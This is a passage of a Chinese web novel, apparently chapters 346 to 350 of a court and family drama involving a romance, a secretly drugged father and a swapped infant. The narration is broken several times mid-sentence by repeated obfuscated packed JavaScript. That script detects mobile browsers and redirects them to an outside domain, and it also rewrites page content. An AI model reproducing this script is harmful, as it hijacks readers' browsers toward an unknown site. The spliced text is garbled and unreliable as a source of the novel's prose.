d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603027|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牧之正是相配。” “且她琴棋书画样样精通,管家理事更是不在话下,日后她嫁进门,就能帮衬着弟妹你打理庶务,你也不必如此辛劳了。” 白氏的娘家也在京城,白家以往也显赫过,但到了她父亲这一代,个个资质平庸,白氏父亲只靠祖荫混了个四品闲差,而今白家的后辈,也没有出挑之人。 白氏这番急吼吼地想给孙牧之做媒,分明是看上了他大好的前程,这算盘珠子都直接打到脸上来了,甄氏如何看不明白? 她的脸色又沉冷两分,若是以往,白氏能主动示好结亲,甄氏定会满心感动,也会好生考虑。 如今,甄氏瞧着她的嘴脸,只觉功利市侩,如此品性,岂能与之为伍? “多谢二嫂美意,但阿牧这孩子主意正,我这个当娘的也做不了主。更何况,我觉得两家也不合适,你还是请回吧。” 她起身送客,雪团也起身,又汪汪汪叫了起来,气势比方才凶悍不少。 白氏却尤自不甘心,“婚姻之事,向来是父母之命媒妁之言,你是阿牧的母亲,你的话他定会听的。” “不若明日我便把我那侄女带来,先让你好生相看相看?若觉得合眼缘,再安排两个孩子见面。” 白氏打蛇随棍上,根本不管甄氏的反对,甄氏被气得脸都涨红了。 这时,一道冷厉的声音从身后传来。 “我的亲事,不劳外人操心,二伯母请回吧。” 白氏听到这声音,身子一颤,脸上的笑也有些挂不住了。 “牧,牧之,你回来了?我,我这也是好意,想替你张罗张罗亲事。” 孙牧之穿着一身劲装,腰间还配着刀,大步流星而来,整个人都带着股凌冽的气势。 他似笑非笑地看着白氏,“二伯母是听不懂人话吗?我方才说了,我的亲事,不劳外人操心。” 白氏的脸色有些挂不住,“你既唤我一声二伯母,我怎能算外人?” 孙牧之嗤笑一声,“我唤你一声二伯母,是看在母亲的面子上,但你若真在我面前倚老卖老,摆所谓长辈的谱,我也可以不认你这门亲戚。” 第346章 已有心仪之人 白氏面皮抖动,心中的怒火便有些忍不住了。 “年轻人可莫要忘了本,一朝得势就忘了自己是吃谁家的米长大的。” 孙牧之:“反正不是吃你白家的米。” 白氏被噎得说不出话来。 “送客,以后不要什么阿猫阿狗都放进来。” 白氏气得甩袖而去。 孙牧之看向甄氏,面色这才缓和下去。 “母亲,以后再有人来扰您清净,您直接让人撵了便是,无需与她们多费口舌。” 甄氏欲言又止。 “你二伯母的确势利,她的娘家侄女我也瞧不上,只是她有一句话说得没错,你的年纪不小了,的确到了该说亲的时候。” 孙牧之眸光微动。 “母亲,此事不急。” “怎会不急?旁人在你这个年纪,孩子都有几个了。” 孙牧之还是那句话,“不急。” 甄氏跟在他身后絮叨,孙牧之道:“儿子先去更衣。” 一句话把甄氏的话全都堵了回去。 甄氏无奈摇头。 方才她对白氏说的话也不全是搪塞之词,阿牧的确主意大,她这个当娘的,确实做不了他的主。 心腹刘嬷嬷上前,猜测道:“夫人,三少爷他是不是有了心仪之人?” 甄氏神情一顿,“这,不可能吧,他平日里也没接触过哪家姑娘。” 话音刚落,下人前来通禀,“夫人,九公主来了。” 甄氏立马顾不上其他,脸上露出笑容,紧接着便迈步迎了出去。 雪团的动作更快,迈着小短腿就朝外奔去,汪汪汪的叫着,很是欢快。 萧宝珠熟门熟路地进了内院,蹲身,一把将雪团抱了起来,在怀里用力揉了揉。 “雪团,有没有想我?” 雪团在她手心下用力拱了拱,又伸出舌头热情地舔着她,用行动做出回应。 甄氏朝她屈膝行礼,萧宝珠连忙把人扶起,满脸嗔怪。 “三舅母,我说了许多次了,您在我跟前无需这般多礼。下回您再这般客气,我可就要生气了。” 甄氏眼底盛满笑,“好,以后我就倚老卖老了。” “方才我在门口瞧见二舅母,她的脸色似是有些不大好,方才发生了什么事?” 甄氏眼底的笑意淡了几分,简单说了事情原由。 萧宝珠的笑意也微微凝滞一瞬。 “您是要给三表哥议亲了吗?” 甄氏面露几分愁绪,“我便是有这个想法也无用,阿牧不着急。况且,此事最终还是要征求他自己的意思,得他自己点头才行。” 萧宝珠摸着怀中的雪团,眼神飘忽,状似随意地道:“他喜欢什么样的姑娘?” 甄氏还尚未开口,孙牧之从屋中出来,已经换上了一身家常衣裳,整个人身上原本的那股锋锐冷硬被削减大半,整个人都瞬间柔和了下来。 他看向萧宝珠,眸底似缀满星辰,灿烂夺目。 “公主。” 萧宝珠没想到他已回来了,不知方才自己那话他有没有听到,神色间不觉染上两分不自在。 甄氏高兴地去张罗吃食,萧宝珠本是话多之人,但今日心里揣了事,便不怎么开口。 反倒是孙牧之主动挑起了话头。 “我离京的这段时间,多谢公主时常照拂母亲。” “你怎的总是对我道谢?” 萧宝珠在心里嘀咕,这般客客气气的,像是对自己有心思的样子吗? 孙牧之看着她,语气柔和几分。 “好,那以后我就不与公主客气了。” 他重新起了话头。 “公主可见到了蒋六小姐?” “见到了,但她很快又要离京了。” 说着,面上露出几分愁绪。 孙牧之道:“蒋六小姐非一般女子,京中的牢笼困不住她。但公主在这里,她心中有牵绊,定会再回来的。” 这话让萧宝珠微微露出几分笑意。 “阿笙的确身有鸿鹄之志。” 萧宝珠怀中的雪团哼唧了几声,萧宝珠立马伸手安抚,动作温柔,它窝在萧宝珠怀里,也甚是享受。 孙牧之盯着它,目光带着几分幽沉。 一个畜生,竟能享受这般待遇,实在是便宜这狗东西了。 雪团感受到一股略微不善的目光,朝孙牧之汪了一声,又赶紧往萧宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603028|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠怀里缩,把狗仗人势发挥到了极致。 孙牧之朝他投去一记眼神,轻飘飘的,却自带一股威严,雪团瞬间怂了,埋头在萧宝珠的怀里,没敢继续挑衅。 孙牧之见此,眸色更深了几分。 “这狗,养得太娇了些,合该多训训它。” 成日里抱在怀里,成何体统? 但他不觉得是人的问题,定是狗的问题,实在太不像话了。 雪团似听懂了他的话,又朝孙牧之汪汪两声,对着萧宝珠则是委屈地哼唧,萧宝珠哪里招架得住?立马更加温柔地抚摸着。 “雪团本就是个逗趣的宠儿,合该娇养,你莫不是把它当成**不成?” 雪团有人撑腰,狗尾巴都摇出了残影,看着孙牧之的眼神也充满了挑衅。 孙牧之:…… 他很快调整了心情,又开口,“方才我二伯母,是来与我说亲的,她想撮合我与她的娘家侄女。” 萧宝珠的背脊瞬间挺直,眼神也开始飘忽。 她干巴巴地道:“亲上加亲,挺好。” 孙牧之语气冷淡,“我把她赶出去了,我对她那所谓的侄女,没有兴趣。” 顿了顿,语气低了两分,莫名带上几分缱绻。 “我已有心仪之人。” 他说这话时,目光一直落在萧宝珠的身上,萧宝珠心口乱跳,手上的动作也有些没轻重,雪团被她揉得**地哼哼起来,萧宝珠这才急忙收手。 “哦。你与我说这些做什么?” 孙牧之看着她,语气悠悠,“方才听到公主与家母问起此事,唯恐公主误会,便多嘴解释一番。” 萧宝珠:…… 她似被抓包,脸上不禁露出几分窘意。 “我只是随口一问罢了。” 孙牧之:“是我啰嗦了。” 今日的孙牧之的确有些话多,他又没话找话地挑起其他话头,萧宝珠反倒成了话少的那个。 甄氏张罗了吃食回来,萧宝珠这才有种如蒙大赦之感。 萧宝珠的到来,让甄氏脸上的笑容灿烂了许多。 孙牧之看着她们,面上浮起温柔笑意。 一顿饭,气氛和乐。 第347章 陆贯轩美梦破碎 晚上,刘嬷嬷伺候甄氏躺下。 她悄声道:“夫人,老奴今儿个发现了一桩事,不知当不当讲。” 甄氏今日心情好,脸上依旧挂着笑。 “你我之间,还有什么好顾忌的?有什么话直说便是。” 刘嬷嬷这才开口,“奴婢今日瞧着,三少爷对九公主似有些不一般。” 甄氏一愣,旋即慢慢反应过来。 她一下坐直了身子,眼中闪过一抹异样的光。 “你这话是什么意思?” “三少爷素日里性子稳重,话也少,从未与哪个女子多说几句话,但今日,他在九公主面前却极为耐心,他看着九公主的眼神也满是温柔。奴婢瞧着,三少爷对九公主怕是动了心。” 她本就猜测三少爷有了心仪之人,没曾想竟真猜对了。 甄氏好半晌才反应过来。 她心中也升起过这样的念头,但这对他们三房来说无异于痴人说梦,她岂敢奢求? 她熄了心思,就只把九公主视若亲女,不再多想。 连带着,她便也把阿牧对九公主的不同自动解读为表兄妹的情分。 刘嬷嬷如此一说,甄氏一下打破了自己原本的灯下黑,慢慢地回过味来。 刘嬷嬷笑着道:“九公主虽贵为公主,但性子随和,对奴婢这样的下人都没有架子,对你更是极为敬重,咱们三少爷会对九公主动心,也是情理之中。” 甄氏的眉头却是蹙着,面上似有忧虑。 “九公主自然是极好的,但……她贵为公主,阿牧却只是三房养子,他如何高攀得上?我只担心,他动了心思,却不能得偿所愿,平白伤怀。” 甄氏之所以掐灭不该有的念头,便是觉得齐大非偶,他们高攀不上。 若阿牧当真动了心,婚事不成,届时只怕又是一场伤怀。 那孩子看着性子冷,但实际上最是专情,一旦认定了,便很难改主意。 甄氏性子有些多愁善感,也有些悲观,凡事都会下意识往坏处想。 刘嬷嬷性子反倒豁达,她道:“咱们少爷也不差,而今京中没几个青年才俊有他这般出息,便是配公主,也是绰绰有余的,您不要看轻了少爷。” “更何况,奴婢瞧着,九公主对咱们少爷似也有几分意思。若他们两情相悦,此事就好办多了。” 甄氏被她说得心思浮动起来。 第二日早膳,她便时不时看一眼孙牧之,一副欲言又止的模样。 孙牧之放下了筷子,温声问,“母亲是不是有话要说?” 甄氏一番犹豫,试探地问了他对萧宝珠的想法。 孙牧之神色微顿,旋即非常坦然地点头。 “没错,儿子对九公主的确心生爱慕。” 甄氏听了,一时没说话。 孙牧之看着甄氏,“母亲,若我尚了公主,我的官途不会太高,只怕没法给母亲挣诰命了,您是否会因此介怀?” “怎会?母亲从不在意所谓诰命,你能过得好,才是母亲心之所求。只是母亲身份平庸,此事只怕帮不上你。” 孙牧之笑了笑,“谁说母亲帮不上忙?母亲只需时常请公主到家中坐坐,便是帮了儿子最大的忙了。” 甄氏反应过来,儿子这是打算近水楼台先得月。 她自是连连点头答应。 孙牧之又低头看了看那只雪白的小狗,难得给了它一个好脸色。 这小东西也是一个功臣,以后就对它好一些吧。 萧宝珠在自己的长乐宫中接连打了好几个大喷嚏,本以为自己昨夜受了凉,殊不知,是那一直惦记她的人终于开始行动,等着她自投罗网呢。 这头,即将做瑾王岳丈的陆贯轩也没闲着。 他又收了两房小妾。 这一回,他没有再在外头随随便便收人,收用的都是有正经出身的良家女子。 她们的容貌都十分一般,但体格好,屁股大,一看就是好生养的人。 他只有一个儿子,太少了,他必须要抓紧时间播种,尽早生下更多的儿子。 方氏见此,心中不禁生出几分焦灼。 那两个农家女一看就好生养,若当真让她们怀上子嗣,再想动手除掉就麻烦了。 “不行,必须要先下手为强。魏嬷嬷,你去给我二哥传信,让他帮我弄一种药……” 只有让陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608500|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贯轩今生都不可能再有子嗣,君儿才会是陆家唯一的嫡子,她的地位才能稳固。 陆贯轩最近每天都在努力造人,只想尽早努力出儿子来,但很快,他的美梦就破碎了。 他正在一名姓孟的小妾处努力耕耘时,身子忽感不适,竟险些马上风。 好在府医及时诊治,陆贯轩才捡回一条命,但他人也废了。 原先的府医**发因先前的误会,心灰意冷之下,已经离开了陆家,现在的府医是新来的。 这个消息似晴天霹雳,不仅把陆贯轩的尊严劈得稀碎,也浇灭了他所有的希望。 “怎,怎么可能?我不相信!定是你医术不精!” 那府医面露难色,“据老夫诊断,老爷近段时日似服用了过量壮阳之药,又纵欲过度,这才物极则反,掏空了身子。老爷若是不信老夫的医术,大可派人去请御医前来诊治。” 府医的话让陆贯轩的脸色瞬间惨白。 他这段时间的确服用了不少**,那药是从一个老郎中处买来的,据说这药不仅能壮阳,还能生儿子。 当时便有刚生了儿子的老爷前来感谢那老郎中,陆贯轩见了,才鬼使神差地买了。 头一次用,他就体会到了其中妙处,而后便越发不可收拾。 连用了一个星期,没成想,今日就爆发了。 去请御医?陆贯轩丢不起这个人! 一旦请了御医,此事必然瞒不住,他在朝堂上就再也抬不起头来了。 陆贯轩一边让人去外头请其他大夫,一边把那剩余的药交给府医检查。 那府医细细辨认一番,最后眉头都蹙了起来。 “此药加了锁阳、杜仲,过于凶猛,本就应当慎用,老爷你不仅用了,用的量更没有把控好,便是年轻力壮的小伙子,只怕也会受到反噬。老爷你能保住一条命,已是万幸了。” 这话让陆贯轩的心再次沉入了谷底,手脚都不禁一阵阵发凉。 很快,其他大夫也都来了,一一给陆贯轩诊脉,最后都得出了同样的结论。 用药过猛,加之纵欲过度,精元受损,后半辈子,都不能人道了。 第348章 那便不做陆家人 陆贯轩一口气没上来,险些晕过去。 他的脑子嗡嗡地响,整个身子瘫软下去。 先前服用了那药,他只觉自己神采奕奕,精神饱满,而今,根基毁了,他才感受到了那种被掏空之后的虚弱与无力。 真正击溃他的,是心底的绝望。 从此再不能人道,他这辈子,就再不可能有其他孩子了。 他的儿子梦,破碎了。 这件事发生在孟姨娘的院子,她被吓坏了。 陆贯轩本想将她灭口,但转念一想,万一她已经怀上了自己的孩子,若是杀了岂不是追悔莫及?遂命人将她禁足。 而被请来看诊的大夫,也都收到了**。 陆贯轩搬出瑾王岳丈的身份威胁,他们不敢往外乱说半个字。 而陆府,陆贯轩也派人**息。 他决不允许自己的妻女知晓此事,不然他将颜面扫地。 然而,他这番遮掩没有任何作用,方氏和陆知苒早已知晓了这件事。 方氏是此事的幕后策划者,她自然派人盯着。 事发的第一时间,她就知晓了。 事情成了,方氏喜得大笑三声。 “从此以后,这陆府就是君儿的了。” 没人能再跟她儿子抢。 方氏自以为自己做事滴水不漏,殊不知螳螂捕蝉黄雀在后,陆知苒早就洞悉了一切。 她没有出面阻拦,而是任由事情发展。 陆贯轩但凡有点脑子,就不会上钩。 他若当真愚蠢地上当,也是他自作自受,咎由自取。 对于这个父亲,陆知苒没有半分情分。 上辈子,母亲的死,他也是帮凶。 现在,他们两人斗成乌眼鸡,陆知苒很乐意隔岸观火。 接下来,还有更加精彩的戏码,只不知她父亲究竟能不能承受得住了。 陆家的这场风波悄无声息,外人对此一无所知,只有陆贯轩身心遭受巨大创伤,却无人可以倾诉,整个**眼可见的阴郁暴躁。 唯有未来瑾王岳父的身份,能让他重新打起精神来。 也是这个打击,让陆贯轩对陆君成这个儿子更加重视起来。 眼见陆知苒即将大婚,方氏提议,把陆君成从书院接回来,他这个瑾王小舅子总要露露面。 陆贯轩同意了。 他想看看儿子,也想考教一番他的学问,看看他明年科举下场究竟能有多少分把握。 陆君成很快回来了。 第二日,他去了陆知苒的院子。 久未归家,他合该来向姐姐请个安。 他听说陆知苒一直闭门不出,觉得自己多半会吃个闭门羹,但没想到,高嬷嬷把他请了进去。 陆君成见了陆知苒,恭恭敬敬地对着她行了一礼。 “见过大姐姐。” 陆知苒看着眼前的少年,他长高了,但身形略显单薄消瘦,眼底也有一抹淡淡青黑,整个人笼着一股沉沉的暮气。 “清减了不少,念书重要,身体更重要。” 一句话让陆君成的眸底现出几分波澜,心头亦不受控地泛起涟漪。 他昨日回到家,先是父亲唤了他去,对他考教了一番学问,语气严厉,极尽苛责,压得他喘不过气来。 好容易从父亲那里离开,又被母亲唤了去。 紧接着,同样的事情又重演了一遍。 他们只关心他能不能考取功名,根本不在意自己的身子如何,心情怎样。 反而是陆知苒这个姐姐,一眼就看出自己的消瘦,更是说出关怀之词。 “多谢大姐姐关怀,我会注意身体的。” 陆知苒留他一起用饭,“我的丫鬟厨艺不错,你尝尝。” 陆君成看出她是真心之言,便没有推辞。 这顿饭,他吃得很放松,待放筷时,他才察觉自己吃得有些撑了。 他面上不禁露出几分赧然。 陆知苒笑道:“你正长身体,合该多吃些。” 陆君成话少,陆知苒有一搭没一搭地与他闲话,陆君成也渐渐松弛下来。 陆知苒又闲话般问,“明年下场,有把握吗?” 陆贯轩和方氏都问过他这个问题,每每听到,他身子都下意识紧绷。 但这话从陆知苒的口中问出,陆君成却没了先前的紧绷,他的面上露出苦笑。 “大姐姐,我的才学平平,心中并无把握。” 陆知苒听了这话,并没有苛责。 “科举本就不易,也并非每个人都擅长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608501|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此道,尽人事,听天命,尽力即可。” 前世,他考取了秀才,但在乡试时落榜,没能考取举人功名。 他秀才的名次本也不高,乡试落榜其实是情理之中。 可见,他本也不是这块料。 这辈子,他的天分不可能一夕之间突飞猛进,他科举的结果,大约与前世一般无二。 陆君成听了她的话,心头浮起一抹触动,旋即便微微苦笑。 “若父亲母亲都如大姐姐这般想就好了。在他们眼里,不能考取功名,我便是陆家的罪人。” 陆知苒状似随意地道:“既如此,便不做陆家人。” 陆君成微微一愣,旋即面上苦笑更甚。 “大姐姐莫要说笑了,我生便是陆家长子,自幼享受了陆家的培养与优待,岂有说不的权利?若当真如此,那便是大不孝了。” 陆知苒语气莫名,“人的确没法选择自己的出身。若是可以选,你会选择怎样的人生?” 陆君成一时没说话。 陆知苒笑得轻松,“我们姐弟私下闲话罢了,你随便说,我也随便听。” 陆君成闻言,这才开了口。 “其实我挺喜欢孩子的,跟入仕为官相比,我更喜欢给孩子做启蒙夫子。” 他是个资质平庸之人,幼年启蒙时,夫子大多严厉,他每每见之便背脊僵硬,对学业也更难提起兴致。 若他给孩子启蒙,定不会如此严厉,非打即骂。 换个温和的方式,学生未必不能有所进益。 说完,他的脸就红了。 “我浑说的。” 他自己的学问都一塌糊涂,更没有半点功名在身,有什么资格给人当夫子?平白误人子弟罢了。 更何况,就算他想,父亲和母亲也定然不会同意。 他们瞧不起夫子这个差事,只会觉得自己自甘堕落,不知上进。 陆知苒却认真道:“想法很好,你的性子温和敦厚,也的确适合给孩童启蒙。” 陆君成没想到她竟会认同和鼓励自己,心中不禁涌起一股难言的激荡与澎湃,眼底都不禁泛起了水光。 “只是,你一介白身可不行,至少得有个秀才功名。机会只会留给有准备的人。” 第349章 狸猫换太子 这话似意有所指,陆君成一时没能参透。 但最后这句话说得很对,机会只会留给有准备的人。 功名是为他自己考的,而不是为了爹娘,他应当要转变心态,认真对待此事。 他朝陆知苒恭敬地躬身一礼,“多谢大姐姐提点,此次下场,我必全力以赴。” 离开瑶光阁时,陆君成的背脊都挺直了几分,整个人的精气神似也大不相同了。 瑶光阁的人都看得出小姐对大少爷态度不一般,她们都心有疑惑,便是翠芙和丹烟也不知缘由,只当自家小姐是觉得少爷品性端方,与方氏不是一路人。 只有金嬷嬷知晓其中内情。 金嬷嬷关起门向陆知苒汇报,“小姐,证人咱们已经找到了,现在就安置在城西的宅子里,咱们什么时候行动?” 陆知苒摇头,“不急。” 金嬷嬷难得急躁,“您是顾忌大少爷,想等他科举之后?” “不全是。眼下还有一人尚未回京。” 那人可是此事最要紧的一环之一,少了那人,这场戏如何能唱得下去? 金嬷嬷一想也是,只能按住了心头的焦躁。 方氏得知陆君成去了瑶光阁,待了半下午才离开,面色有些难看。 她低骂一声,“那逆子,真是养不熟的白眼狼!” 魏嬷嬷劝她,“大小姐即将飞黄腾达,大少爷多到他跟前走动也是应当的,你切莫因此动怒。大少爷便是再糊涂,也分得清亲疏。” 方氏深吸了一口气,又揉了揉眉心,“等娇儿进京了就好了。到时候,我们就能母女团聚了。” 方娇,名义上是方成才之女,实际上却是方氏的女儿。 当年,方氏早早诊断出自己怀的是女儿,为了巩固自己在陆家的地位,她让娘家人提早做了安排,在生产当日,把女儿换成了儿子。 这便是陆君成虽为她唯一的儿子,却不受她待见的原因。 他不过是方家从外头随便抱回来的野种,是方氏巩固地位的筹码和工具,方氏如何会真心待他? 方成才外放,方娇也一并被带走,至此远离京城,避免了事情败露的可能,也让方氏与她母女分离多年。 魏嬷嬷也压着声音,“是,娇儿小姐入了京,与大少爷议亲,就能在夫人跟前生活了,您这么多年的苦日子,就到头了。” 方氏想到这一点,心头郁结这才消散几分。 “我等不了了,你安排一行人往闽南去,亲自把娇儿接回来。” 方成才大半年前就回了京,却没有把妻女带上。 彼时他说方娇病了,需要休养,不宜奔波。 而今又过了好几个月,方成才却又说天气严寒,路上不好走,待来年开春再入京。 方娇也给方氏来信,表达了同样的意思,方氏这才压下心头的不满。 但现在,她突然不想忍了,她要派人把娇儿接回来。 闽南那样的地方,岂能跟京城相比?她的娇儿已经受了这么多年的苦,岂能让她继续在那里受苦? 她想马上见到她的娇儿! 去年各地遭遇严寒,各地藩王都不曾入京,只送了年礼。 今年各个王爷都上表入京,睿亲王亦在其列。 睿亲王是德丰帝的幼弟,今年刚过而立。 自十五岁去了封地,他就没有回过京,距今已有十五年。 此次他主动上表,称其屡梦先皇,醒后思之,五内俱恸,故而请旨回京,祭奠先皇。 德丰帝见了他的奏折,亦不禁心生感伤,便允了。 二皇子和三皇子尚在路上,睿亲王先到了。 他携王妃第一时间就入宫拜见了德丰帝。 “臣弟拜见皇上!臣弟离京十五载,虽远在藩篱,而心常系于京阙。今蒙陛下厚恩,得暂返京师,臣弟衔感五内。待臣弟祭拜了先皇,略尽人子之哀思,定速速返回封地,不敢久滞。” 德丰帝连忙把睿亲王扶了起来,“皇弟快起,你我兄弟之间,何须如此拘礼?” 睿亲王身形挺拔,面容未经风霜侵蚀,与德丰帝站在一处,二人不似兄弟,倒似父子。 德丰帝看着这样的弟弟,再次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15614206|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感受到自己的苍老。 睿亲王弯腰弓身,语气恭敬。 “君臣之礼,万不可废。” 德丰帝又说了许多叙旧的话,一时之间,兄弟二人都微微红了眼眶。 睿亲王妃裴氏静立一侧,待他们说话的间隙,才开口,“不知皇嫂近来身子可好?臣妾与皇嫂多年未见,想前去拜会一二。” 睿亲王也道:“臣弟得了一株百年灵芝,给皇嫂滋养身子,再合适不过,便献给皇嫂,算是表一表臣弟的孝心。” 德丰帝脸上依旧是和煦的神色,“皇后最近一直潜心礼佛,不大见人了,便是朕也难见她一回。你们的孝心朕替她领受了。” 睿亲王面露担忧,欲言又止。 睿亲王妃裴氏再次开口,“皇上,臣妾总听王爷说自己小时得皇嫂照拂,心中很是感怀,而今皇嫂身子欠佳,臣妾想代王爷当面问安,也算了结王爷的一桩心事,还请皇上准允。” 睿亲王没说话,但神色间的确满是关切。 当年,睿亲王的生母离世,他尚年幼,的确在太子府养过几年,孙皇后于他而言,是长嫂如母般的存在。 德丰帝心中不免生出触动。 他点了头,“你去吧,只是,皇后会不会见你,朕也不敢保证。” 裴氏连忙谢恩而去。 睿亲王则与德丰帝又闲话起来。 “臣弟听闻,小七近日即将完婚了?” 德丰帝笑着点头,“你这次回京,倒是赶巧。” 睿亲王感叹,“臣弟离京之时,小七才那么高点,一转眼,都长大了。” “朕都老了,你们自然都长大了。” 睿亲王自然又说了些德丰帝春秋鼎盛的恭维之言,德丰帝只是一笑而过。 他最近打理政务之时,越发感到力不从心。 即便是帝王,也不得不服老。 裴氏很快回来了,她没有见到孙皇后,只是将那株百年灵芝送了进去。 睿亲王闻言,心头闪过一抹失望,只是面上并未表露。 夫妻二人向德丰帝告辞,相携离开。 第350章 莫不是个傻子? 睿亲王回京的消息,如同一颗石头落入湖面,很快消失,没有掀起太大的涟漪。 陆府上下都在筹备陆知苒的亲事,格外忙碌。 柔妃不放心交给方氏打理,便从内务府派了嬷嬷、宫女和太监,总共十几人,全权负责此事,方氏这个当家主母反倒被架空了。 她便是有心想动些手脚,也根本无从下手。 方氏觉得自己被打脸了,却发作不得,只能又关起门发泄了一番。 十一月二十,到了大婚之日。 陆知苒是二嫁,对一应流程,她早已知晓。 想到这一日下来的劳累,她便趁着上妆的时候阖上了眼睛小憩。 足足花了两个时辰,她的装扮才结束。 站在镜子前,陆知苒也不禁被镜中人的雍容华贵所蛊惑。 她身上穿着正宫红的云锦嫁衣,金线暗纹在暖阳的照耀下流转如星河。霞帔上绣着百鸟朝凤,孔雀羽线掺了珍珠粉,稍一动便漾出七彩光晕。 嫁衣里层还缝着晒干的木樨花,稍一动作便暗香浮动。 陆知苒发髻高挽,以金丝累丝凤簪固定,两侧垂下细细的珍珠流苏,每走一步,珠玉轻颤,如风拂柳梢。 她的肌肤本就莹白如玉,只薄薄敷了一层珍珠粉,衬得眉如远山含黛。眉间贴着金箔剪成的梅花钿,花蕊处嵌着一粒细小的红宝石,宛若雪中一点朱砂,清艳不可方物。 一众丫鬟都发出了惊艳的惊呼声。 萧宝珠、叶寒衣和邢初雪都来给她添妆,人人都是欢喜与恭贺,陆知苒的脸上也缀着笑。 萧宝珠瘦了,反倒是邢初雪,日渐丰腴,面颊红润,显然在安王府的日子过得十分不错。 先前她受了伤,在床上躺了大半年,养得十分精细,伤势彻底痊愈,她也肉眼可见地长胖了。 萧宝珠打趣,“初雪受伤之后,五皇兄就把她当眼珠子似的,一错不错地看着,唯恐她不小心磕了碰了,再伤着。” 邢初雪面上染上一抹绯红,既有些羞恼,又十分甜蜜。 今生能嫁给王爷,是她最大的福分。 扫兴的是,陆映溪也来了,她还把姜锦年一并带来了。 见到她们,陆知苒脸上的笑意淡了几分。 萧宝珠忍了忍,想到今日是大喜之日,她便嘴下留了几分情。 姜锦年再没了以往傲气,在陆知苒面前低眉顺眼,很是恭敬。 她的姑父原宣平侯已经被削爵罢官,贬去了滇南,姜家没了这门亲戚,在京中更加排不上号,她的婚事至今也没有着落,她还有什么高傲的资本? 陆映溪看着陆知苒这一身华贵的凤冠霞帔,眼底不禁浮起一抹嫉恨。 她不过二嫁之身,凭什么? 陆映溪很想提一提楚家人,尤其是楚翊安,但看到萧宝珠等人在场,她到底是不敢。 把姜锦年带上,本意是让她说些口无遮拦的话给陆知苒添堵,偏偏这人是窝里横,在自己面前吆五喝六,真正到了陆知苒面前就怂了。 万般不甘梗在心头,陆映溪很努力才压下,勉强扯出一抹笑。 “恭贺大姐姐新婚。” 陆知苒清浅一笑,“多谢。” 彼此便没了话,明眼人都看得出,她们姐妹关系淡漠。 偏偏陆映溪还不走,一直待在新房中。 这时,一个妇人抱着孩子来了。 那是陆映溪的孩子,名唤姜明钦。 陆映溪从那奶娘的手里接过孩子,笑着对陆知苒道:“姐姐还没见过钦哥儿吧,今日大喜之日,妹妹特意把钦哥儿抱来给姐姐瞧瞧,希望姐姐入了王府之后,也能一举得男。” 她的脸上挂着灿烂的笑,隐约间,还带着一股炫耀之意。 她为姜家生下了嫡长孙,她是姜家的大功臣。 陆知苒能嫁进王府算不得什么,能成功地怀上身孕,为瑾王诞下嫡长子,才是真正的本事。 这番言外之意,让邢初雪微微变了脸色。 她摸向自己的肚子。 她嫁给萧晏珩已经大半年了,肚子却一直没有动静。 她上次入宫给惠嫔请安,还被惠嫔言语敲打了一番,言外之意,她受伤了不能侍寝,合该劝劝王爷,对几位侧妃雨露均沾,而不是只守着她一人。 邢初雪回来之后,便强压酸涩,贤惠了一回,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 